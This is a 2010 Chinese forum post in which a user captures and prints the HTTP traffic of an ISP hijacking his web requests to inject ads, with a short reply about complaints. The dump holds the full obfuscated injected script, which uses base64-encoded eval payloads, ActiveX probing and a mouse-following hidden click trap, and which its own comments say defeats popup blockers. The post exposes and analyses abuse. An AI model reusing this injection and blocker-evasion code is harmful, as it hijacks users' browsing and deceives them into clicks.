仍然是关于青岛联通城色先锋HTTP协议劫持篡改的问题。
原本用CSNA论坛上某位高人的工具，加载了一个网络服务驱动，技术性地解决了这个问题。
为了证明我不是胡说八道恶意诽谤，我把它卸载了，然后用HTTP Analyzer抓了包，把该扔出来的东西全给扔出来。
首先开启analyzer，启动IE数据包拦截，然后开启IE，输入网址blog.xxxxx.cn，为了避免做广告，xxxx隐藏
0.000秒，开始，响应内容如下：
- <html><head><!--title>... 信息推送，请等候 5 秒，或按刷新键继续 ...</title--></head><script language=JScript><!-- function killErrors(){return true;} window.onerror = killErrors; --></script><frameset rows=*,0><frame src=http://61.156.12.58/webts/ceshi1_2.html noresize><frame src= noresize></frameset></html>
冒出了小尾巴，61.156.12.58，嗯，这是传统的frame
本机公网IP可是123.234.193.106啊
从0.562s开始，
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
- <title></title>
- <script type="text/JavaScript">
- <!--
- function goweb(){
- window.open('http://61.151.254.11/html/js/hxx/hxx_direct.html?a=253170&d=&e=&u=', '_blank','resizable=yes,scrollbars=yes,location=yes,toolbar=yes,menubar=yes,status=yes');
- top.location=document.referrer;
- }
- //windows.onload=goweb();
- //-->
- </script>
- </head>
- <body onload="goweb();">
- <!--
- <div id="chanet_div"><script type="text/javascript">chanet_a='253170';chanet_t=3;</script><script type="text/javascript" src='http://file.chanet.com.cn/html/js/hxx/hxx.js'></script></div>
- -->
- <script language='javascript' src='http://play.unionsky.cn/show/?placeID=98235'></script>
- </body>
- </html>
嗯，这是加载额外的JS
0.952s开始
- ad = new Array(0);
- ad[0] ='http://play.unionsky.cn/click/?placeid=98235|8261&url=http://tg.webgame.com.cn/n/xj/xj100312.html?from=yt_1003120w_xj&p=s&s=98235&b=yt';
- index = Math.floor(Math.random() * ad.length);
- var paypopupURL = ""+ad[index]+"";//随机广告
- var oV1=window;
- ao_lic='casalemedia';
- <!--弹窗外观设置-->
- var casalef='width=1024,height=760,toolbar=1,location=1,titlebar=1,menubar=1,scrollbars=1,resizable=1,directories=1,status=1';
- <!--弹窗宽度-->
- //var l = 0;
- var l = (screen.width - 800) / 2 ;
- <!--弹窗高度-->
- //var t = 0;
- var t = (screen.height - 600) / 2 ;
- var unionsky_mycookie = "8261";
- var unionsky_mycookie_time = "0";
- document.write("<SCRIPT LANGUAGE=JavaScript1.1 SRC='http://play.unionsky.cn/flash/strongpop06.js'><"+"/SCRIPT>");
- document.write("<SCRIPT LANGUAGE=JavaScript1.1 SRC='http://play.unionsky.cn/flash/clickpop.js'><"+"/SCRIPT>");
1.154s开始
- /*
- 功能说明：强弹窗，可以突破傲游，xp+sp2,ie6.0以下，google拦截软件
- 但IE7,FIREFOX2.0无法突破。
- 版本：1.0 杭州弈天网络 http://www.unionsky.cn
- 创建时间：2007-10-11
- */
- //判断是否存在COOKIE，不存在COOKIE则弹窗新广告并记录到COOKIE
- //点弹控制
- var autoclick_ok=false;
- if(!get_cookie(unionsky_mycookie))
- {
- var pop = fStart(paypopupURL,'',casalef+',left='+l+',top='+t);
- pop.blur();
- //弹窗COOKIE
- set_cookie(unionsky_mycookie);
- autoclick_ok=true;
- }
- <!--启动函数begin-->
- function fStart(u,n,v)
- { if (!oV1.opera)
- var twin=oV1.open(u,n,v);
- if (!window.fV1)
- {fV13();}
- var w=oV2(u,n,v);
- var wo=vWA[w];
- wo.pw=twin;
- fV3("fV10(" + w + ")",100);
- return (wo.pw&&fV35)?wo.pw:wo;
- }
- <!--启动函数end-->
-
- function fV11() {return fV6(vV1);}
- function fV5(x) { return true; }
- <!--创建结构体begin-->
- function oV2(u,n,v)
- { var c = vWA.length;
- vWA[c] = new Array;
- var cw = vWA[c];
- var tn=new Date();
- if (!v) var v='';
- if (!n) var n=tn.getTime()+'N'+c;
- cw.location=u;
- cw.f=1;
- cw.s=0;
- cw.n=n;
- cw.v=v;
- cw.cn="";
- cw.cnt=c;
- cw.blur=function() {cw.f=-1;};
- cw.focus=function() {cw.f=1;};
- return c
- }
- <!--创建结构体end-->
- <!--别名定义函数begin-->
- function fV13() {
- oV5=oV1.document;
- vWA=new Array;
- fV1=oV1.open;
- fV2=oV1.focus;
- fV3=setTimeout;
- fV4=clearTimeout;
- vV1='PE9CSkVDVCBJRD0nb1Y0JyBkYXRhPScvZmF2aWNvbi5pY28nIHR5cGU9J2FwcGxpY2F0aW9uL3htbCc+PC9PQkpFQ1Q+';
- fV20=(document.all&&!oV1.opera)?1:0;
- isG=fV31=fV32=fV35=0;
- fV21=fV20?(navigator.appVersion.indexOf('NT 5.1')>0):0;
- fV34=fV20?(navigator.appVersion.indexOf('MSIE 7')>0):0;
- if (navigator.userAgent)
- {
- fV35=!fV20?(navigator.userAgent.indexOf('Firefox/2')>0):0;
- }
- oV5.write(fV6('PGlucHV0IHN0eWxlPSJ3aWR0aDowcHg7IHRvcDowcHg7IHBvc2l0aW9uOmFic29sdXRlOyB2aXNpYmlsaXR5OmhpZGRlbjsiIGlkPSJvVjYiIG9uY2hhbmdlPSJmVjgoZlYxLDUsdHJ1ZSkiPg=='));
- oV5.write(fV6('PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUiIGlkPSJvVjEwIj48L2Rpdj4='));
- }
- <!--别名定义函数end-->
- function debug() {void(0)}
- <!-- gzip解密算法函数begin-->
- function fV6(input)
- {
- var o = "";
- var chr1, chr2, chr3; var enc1, enc2, enc3, enc4;
- var i = 0;
- var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- do {
- enc1 = keyStr.indexOf(input.charAt(i++));
- enc2 = keyStr.indexOf(input.charAt(i++));
- enc3 = keyStr.indexOf(input.charAt(i++));
- enc4 = keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- o = o + String.fromCharCode(chr1);
- if (enc3 != 64)
- { o = o + String.fromCharCode(chr2); }
- if (enc4 != 64)
- { o = o + String.fromCharCode(chr3); } }
- while (i < input.length);
- return o;
- }
- <!-- gzip解密算法函数end-->
- function fV12()
- {
- if (--fV25<1) return;
- oV1.onerror=fV5;
- var t=fV3('fV12()',500);
- oV1.wO1=oV3.oV4.object.parentWindow;
- oV3.location=fV6('YWJvdXQ6Ymxhbms=');
- fV3('fV8(wO1.open,2)',200);
- fV4(t);
- }
- function fV17()
- {
- if (--fV25<1)
- {
- fV25=25;
- var t=fV3('fV12()');
- return;
- }
- var x=fV3('fV17()',250);
- oV1.fV14=oV8.children[0].parentWindow;
- fV1=fV14.open; fV4(x);
- oV8.removeChild(oV8.children[0]);
- oV5.all['oV6'].fireEvent('onchange');
- }
- function fV16()
- {
- if (fV34 || fV21)
- {
- oV5.all['oV6'].fireEvent('onchange');
- }
- else
- {
- z=createPopup();
- oV8=z.document.body;
- oV8.innerHTML=fV6(vV1);
- fV25=5; fV3('fV17()',200);
- }
- }
- <!--操控span=oV10对象给innerHTML赋值 begin-->
- function fV19(v) {
- if (oV5.getElementById('oV10'))
- {
- oV5.getElementById('oV10').innerHTML=v;
- }
- else
- {
- var o=oV5.createElement("span");
- o.innerHTML=v;
- o.style.visibility = "visible";
- oV5.body.appendChild(o);
- }
- }
- <!--操控span=oV10对象给innerHTML赋值 end-->
- function fV23()
- {
- fV8(fV1,4);
- }
- function fV22()
- {
- if (--fV25==0)
- {
- fV21=0;
- fV7();
- return;
- }
- var wo=vWA[0];
- var x=fV3('fV22()',750);
- var o=fV24('oV9');
- if (o.DOM) {
- fV4(x);
- fV25=1;
- eval(fV6('d28ucHc9by5ET00uU2NyaXB0Lm9wZW4od28ubG9jYXRpb24sJycsd28udik7'));
- if (wo.pw || fV34)
- {
- fV9(wo,4);
- }
- else
- {
- var t=fV3('fV33()',500);
- eval(
- fV6("dmFyIG91dD0ic2hvd01vZGFsRGlhbG9nKCdqYXZhc2NyaXB0OndpbmRvdy5vbmVycm9yPWZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9OyBzZXRUaW1lb3V0KFwid2luZG93LmNsb3NlKClcIiw1MCk7IHg9d2luZG93Lm9wZW4oXCJhYm91dDpibGFua1wiLFwiIiArIHdvLm4gKyAiXCIsXCIiICsgd28udiArICJcIik7ICB4LmJsdXIoKTsgd2luZG93LmNsb3NlKCknLCcnLCdoZWxwOjA7Y2VudGVyOjA7ZGlhbG9nV2lkdGg6MTtkaWFsb2dIZWlnaHQ6MTtkaWFsb2dMZWZ0OjUwMDA7ZGlhbG9nVG9wOjUwMDA7Jyk7Ijsgby5ET00uU2NyaXB0LmV4ZWNTY3JpcHQob3V0KTsg"));
- fV3('fV23()');
- fV4(t); }
- }
- }
- function fV28()
- {
- fV19(fV6('PG9iamVjdCBpZD0ib1Y5IiBvbmVycm9yPSJmVjI1PTEiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjE7dG9wOjE7d2lkdGg6MTtoZWlnaHQ6MSIgY2xhc3NpZD0iY2xzaWQ6MkQzNjAyMDEtRkZGNS0xMWQxLThEMDMtMDBBMEM5NTlCQzBBIj48U0NSSVBUPmZWMjU9MTwvU0NSSVBUPjwvb2JqZWN0Pg=='));
- fV25=6;
- fV3('fV22()',500)
- }
- function fV26()
- {
- fV19(fV6('PElGUkFNRSBpZD0ib1YzIiBOQU1FPSJvVjMiIFNUWUxFPSJ2aXNpYmlsaXR5OmhpZGRlbjsgcG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTtoZWlnaHQ6MTsiIHNyYz0iamF2YXNjcmlwdDpwYXJlbnQuZlYxMSgpIj48L0lGUkFNRT4='));
- fV25=20;
- fV3('fV12()',200);
- }
- <!--创建object对象begin-->
- function fV30() {
- fV3('fV32?fV29():fV28()');
- var o=document.createElement('object');
- o.onreadystatechange=function(){fV32=1};
- o.classid='clsid:D2BD7935-05FC-11D2-9059-00C04FD7A1BD';
- o.onreadystatechange=function(){fV32=0};
- }
- <!--创建object对象end-->
- <!--创建object对象begin-->
- function fV29() {
- fV3('fV31?fV28():fV33()');
- var o=document.createElement('object');
- o.onreadystatechange=function(){fV31=1};
- o.classid='clsid:9E30754B-29A9-41CE-8892-70E9E07D15DC';
- o.onreadystatechange=function(){fV31=0};
- }
-
- function fV33() {
- fV3('isG?fV16():fV26();');
- var o=document.createElement('object');
- o.onreadystatechange=function(){isG=1};
- o.classid='clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB';
- o.onreadystatechange=function(){isG=0}; }
- function fV7() {
- oV5.body.onclick=function(){fV8(oV1.open,3)};
- if (oV5.createElement)
- {
- fV24=oV5.getElementById;
- if (fV34) fV21=0;
- if (fV20) {
- if (fV21) { fV30(); }
- else { fV33(); } }
- else {
- if (!fV35)
- {
- out='<embed style="position:absolute; top:0px" swliveconnect="true" src="http://as.casalemedia.com/cmp2.swf" width="1" height="1">'; fV19(out);
- }
- if (!oV5.all)
- {
- x=oV5.getElementById('oV6');
- x.focus();
- x.value=Math.random(); }
- }
- }
- }
- function fV8(f,t,y)
- {
- for (var i=0;i < vWA.length;i++)
- if (vWA[i].s==0)
- {
- vWA[i].s=-1;
- var wo=vWA[i];
- wo.pw=f(wo.location,wo.n,wo.v);
- fV3("var i="+i+"; var wo=vWA[i]; if(wo.s==-1){wo.s=0}");
- fV9(wo,t);
- }
- }
- <!--begin-->
- function fV9(wo,s)
- {
- if (!s) s=0; if (wo.s > 1) return;
- if (s==0) var t=fV3("fV7()",500);
- if (s==4) var t=fV3('fV33()',500);
- if (s==5 && isG) var t=fV3('fV26()',200);
- oV1.onerror=fV5;
- if (wo.pw) {
- if (wo.f==-1)
- {
- wo.pw.blur();
- fV34?oV5.focus():fV2(); }
- else { wo.pw.focus(); }
- wo.s=2; fV4(t);
- eval(fV6('Y2g9dHJ1ZTsgaWYgKHdpbmRvdy5hb19saWMpIHtjaD13by5sb2NhdGlvbi5pbmRleE9mKCdjYXNhbGVtZWRpYS5jb20nKT09MDt9IGVsc2UgeyBjaD10cnVlIH0NCmlmIChjaCkgew0KICBpZiAoMSArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDEwMCkgPCA2KSB7DQogICAgdmFyIHg9bmV3IEltYWdlKCk7DQogICAgeC5zcmM9J2h0dHA6Ly93d3cuYWRvdXRwdXQuY29tL3ZlcnNpb24yL2hpdC5jZm0/dHlwZT0nICsgczsNCiAgfQ0KfQ=='));
- oV1.onerror=null;
- }
- }
- <!--end-->
- <!--begin-->
- function fV10(w)
- {
- if (oV1.opera && !fV20)
- {
- fV7();
- return;
- }
- wo=vWA[w];
- fV9(wo);
- }
- <!--end-->
- <!--获取cookie-->
- function get_cookie(Name) {
- var search = Name + "="
- var returnvalue = "";
- if (document.cookie.length > 0) {
- offset = document.cookie.indexOf(search)
- if (offset != -1) {
- offset += search.length;
- end = document.cookie.indexOf(";", offset);
- if (end == -1)
- end = document.cookie.length;
- returnvalue=unescape(document.cookie.substring(offset, end));
- }
- }
- return returnvalue;
- }
- <!--写入cookie-->
- function set_cookie(Name)
- {
- <!--cookie过期时间，如果不使用cookie则为0-->
- var cookie_time = 0.5;
- try
- {
- cookie_time = parseFloat(unionsky_mycookie_time) * 1;
- }
- catch(err)
- {
- cookie_time = 0.5;
- }
- if(isNaN(cookie_time))
- cookie_time = 0.5;
- var Then = new Date();
- Then.setTime(Then.getTime() + cookie_time*60*60*1000);
- document.cookie=Name+'=1;expires='+ Then.toGMTString()+';path=/;';
- }
1.154s开始
- if (!get_cookie(unionsky_mycookie))
- {
- var newtop=0
- var newleft=0
- if (navigator.appName == 'Netscape' ) {
- layerStyleRef="layer.";
- layerRef="document.layers";
- styleSwitch="";
- }
- else
- {
- layerStyleRef="layer.style.";
- layerRef="document.all";
- styleSwitch=".style";
- }
- //var autoclick_ok=false;
- function toExit(){
- autoclick_ok=true;
- set_cookie(unionsky_mycookie);
- //document.cookie = "Cookie9=POPWIN;expires="+ Then.toGMTString() +";path=/";
- }
- function doMouseMove() {
- layerName = 'iit'
- eval('var curElement='+layerRef+'["'+layerName+'"]')
- eval(layerRef+'["'+layerName+'"]'+styleSwitch+'.visibility="hidden"')
-
- if(!autoclick_ok)
- {
- eval('curElement'+styleSwitch+'.visibility="visible"')
- }else{
- eval('curElement'+styleSwitch+'.visibility="hidden"')
- }
-
- eval('newleft=document.body.clientWidth-curElement'+styleSwitch+'.pixelWidth')
- eval('newtop=document.body.clientHeight-curElement'+styleSwitch+'.pixelHeight')
- eval('height=curElement'+styleSwitch+'.height')
- eval('width=curElement'+styleSwitch+'.width')
- width=parseInt(width)
- height=parseInt(height)
- if (event.clientX > (document.body.clientWidth - 10 - width))
- {
- newleft=document.body.clientWidth + document.body.scrollLeft - 10 - width
- }
- else
- {
- newleft=document.body.scrollLeft + event.clientX-10
- }
- eval('curElement'+styleSwitch+'.pixelLeft=newleft')
- if (event.clientY > (document.body.clientHeight - 5 - height))
- {
- newtop=document.body.clientHeight + document.body.scrollTop - 5 - height
- }
- else
- {
- newtop=document.body.scrollTop + event.clientY-10
- }
- eval('curElement'+styleSwitch+'.pixelTop=newtop')
- }
- document.onmousemove = doMouseMove;
- if (navigator.appName == "Netscape" ) {
- }
- else
- {
-
- document.write('<div ID=OuterDiv>')
- document.write('<a href="'+ad[0]+'" target="_blank"><img ID=iit src="http://pics.unionsky.cn/Flash/hdw/spacegif.gif" STYLE="position:absolute;TOP:0pt;LEFT:0pt;width=103;height=28;Z-INDEX:99;visibility:hidden;" border="0" onclick="toExit()"></a>')
- document.write('</div>')
- }
- }
下面还是
- GET /Flash/hdw/spacegif.gif HTTP/1.1
- Accept: */*
- Referer: http://61.156.12.58/webts/ceshi1_2.html
- Accept-Language: zh-CN
- User-Agent:
- Accept-Encoding: gzip, deflate
- Host: pics.unionsky.cn
- Connection: Keep-Alive
一直到2.340s，才真正是访问我想要去的网址
这算不算流氓到家了？ |
发表于 2010-3-14 00:33:55
楼主
这个劫持早都有了，电信网通都有，不定时的弹广告；在客服那投诉了几次，后来在本地bbs上公布了它弹广告的IP网段，或者是换了win7系统的缘故？ 有段时间没弹了
坛里高手出个屏蔽DianXing流氓广告的具体设置图解教程，以造福广大菜鸟坛友